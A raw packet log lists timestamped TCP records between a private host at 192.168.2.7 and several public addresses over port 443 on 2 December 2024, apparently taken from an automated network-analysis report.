Dec 2, 2024 01:34:47.283169031 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.283186913 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.283201933 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.283206940 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.283571005 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.283602953 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.283617973 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.283638000 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.283638000 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.283642054 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.283657074 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.283970118 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.283981085 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.283998013 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284004927 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284018040 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284029961 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284065008 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284082890 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284133911 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284145117 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284157991 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284164906 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284187078 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284193039 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284209967 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284215927 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284226894 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284240961 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284329891 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284338951 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284352064 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284358978 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284490108 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284498930 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284574986 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284584045 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284596920 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284607887 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284688950 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284698963 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284738064 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284748077 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284778118 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284789085 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284872055 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284885883 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284923077 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.284944057 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.284989119 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.285001040 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.285060883 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.285120964 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.285134077 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.327323914 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.328303099 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.328330040 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.332869053 CET	443	49883	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.335410118 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.335629940 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.335649967 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.335681915 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.335699081 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.335761070 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.335772991 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.337678909 CET	49883	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.337707996 CET	443	49883	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.338314056 CET	49883	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.338319063 CET	443	49883	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.375332117 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.375801086 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.375893116 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.375905037 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.375968933 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.375988007 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.375998020 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.376017094 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.376092911 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.376101971 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.399883986 CET	443	49880	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.399961948 CET	443	49880	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.400137901 CET	49880	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.400851965 CET	49880	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.400871038 CET	443	49880	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.400896072 CET	49880	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.400906086 CET	443	49880	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.404005051 CET	49887	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.404052973 CET	443	49887	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.404606104 CET	49887	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.405128956 CET	49887	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.405148029 CET	443	49887	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.419325113 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.419747114 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.419816017 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.419831991 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.419895887 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.419913054 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.419984102 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.420249939 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.420353889 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.420377016 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.467324972 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.468058109 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.468164921 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.468295097 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.468307018 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.468318939 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.468373060 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.468385935 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.515325069 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.522131920 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.522258997 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.522270918 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.522290945 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.522298098 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.522449017 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.522475958 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.541311026 CET	443	49878	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:47.541344881 CET	443	49878	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:47.541387081 CET	443	49878	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:47.541438103 CET	49878	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:47.541474104 CET	443	49878	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:47.541502953 CET	49878	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:47.541984081 CET	49878	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:47.541996002 CET	443	49878	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:47.542006016 CET	49878	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:47.542165041 CET	443	49878	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:47.542201996 CET	443	49878	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:47.542340994 CET	49878	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:47.567325115 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.567635059 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.591826916 CET	443	49882	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.591907978 CET	443	49882	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.592473030 CET	443	49881	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.592505932 CET	49882	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.592530012 CET	443	49881	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.592567921 CET	443	49879	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.592622995 CET	443	49879	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.592655897 CET	49881	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.592989922 CET	49879	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.600059032 CET	49882	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.600085020 CET	443	49882	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.600112915 CET	49882	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.600121021 CET	443	49882	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.600214005 CET	49881	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.600214958 CET	49881	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.600240946 CET	443	49881	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.600250959 CET	443	49881	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.600860119 CET	49879	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.600860119 CET	49879	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.600878000 CET	443	49879	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.600887060 CET	443	49879	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.603729010 CET	49888	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.603766918 CET	443	49888	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.604329109 CET	49889	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.604360104 CET	443	49889	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.604378939 CET	49888	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.604681969 CET	49889	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.604790926 CET	49888	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.604799986 CET	443	49888	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.604923010 CET	49890	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.604933023 CET	443	49890	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.605021954 CET	49889	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.605037928 CET	443	49889	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.605137110 CET	49890	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.605221987 CET	49890	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.605226994 CET	443	49890	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.615323067 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.643587112 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.643759966 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.643847942 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.643886089 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.643901110 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.648776054 CET	49891	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:47.648822069 CET	443	49891	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:47.648958921 CET	49891	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:47.649939060 CET	49891	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:47.649952888 CET	443	49891	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:47.681355000 CET	443	49885	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:47.681751966 CET	49885	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:47.681771040 CET	443	49885	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:47.682153940 CET	443	49885	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:47.684660912 CET	49885	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:47.684737921 CET	443	49885	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:47.684968948 CET	49885	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:47.687328100 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.687522888 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.687549114 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.727327108 CET	443	49885	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:47.731324911 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.763339996 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.763490915 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.763511896 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.763629913 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.764596939 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.764614105 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.764729977 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.764748096 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.764800072 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.764810085 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.764846087 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.764853001 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.764867067 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.764880896 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.764911890 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.764929056 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.765110970 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.765295029 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.767836094 CET	443	49883	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.767904043 CET	443	49883	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.768091917 CET	49883	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.768121004 CET	49883	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.768137932 CET	443	49883	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.768165112 CET	49883	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.768171072 CET	443	49883	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.770917892 CET	49892	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.770962954 CET	443	49892	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.771039009 CET	49892	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.771217108 CET	49892	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.771225929 CET	443	49892	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.811326027 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.848639011 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.848777056 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.848836899 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.848951101 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.885813951 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.885945082 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.885962963 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.885996103 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.886050940 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.886066914 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.886090994 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.886100054 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.886138916 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.886146069 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.886183023 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.886253119 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.886265039 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.886312008 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.886318922 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.886348009 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.886370897 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.886432886 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.888076067 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.888128042 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.888283014 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.888314962 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.888344049 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.888355970 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.888374090 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.888374090 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.888376951 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.888402939 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.888402939 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.888461113 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.888470888 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.890368938 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.890494108 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.890613079 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.890645027 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.890645027 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.890665054 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.890839100 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.890861988 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.926091909 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.926183939 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.926309109 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.926331997 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.926512957 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.926529884 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.926831961 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.926862001 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.926898956 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.927042961 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.927845001 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.970105886 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.970187902 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.970308065 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.970362902 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.970413923 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.970424891 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.970477104 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.970488071 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.005383015 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.005461931 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.005672932 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.005698919 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.005763054 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.005841017 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.005873919 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.005875111 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.005887985 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.007338047 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.007384062 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.007685900 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.007718086 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.007831097 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.009862900 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.009881020 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.010010958 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.010027885 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.010035992 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.010046005 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.010144949 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.010169029 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.010169029 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.010171890 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.010278940 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.011991978 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.012053967 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.012239933 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.012409925 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.012454033 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.012489080 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.012504101 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.013791084 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.013808966 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.013863087 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.013879061 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.014103889 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.014111042 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.014120102 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.014128923 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.014164925 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.014183998 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.014223099 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.014257908 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.014292955 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.015563011 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.015686989 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.015710115 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.015717983 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.015731096 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.015809059 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.015836954 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.015839100 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.015954971 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.016479015 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.016732931 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.016814947 CET	49884	443	192.168.2.7	94.130.210.71
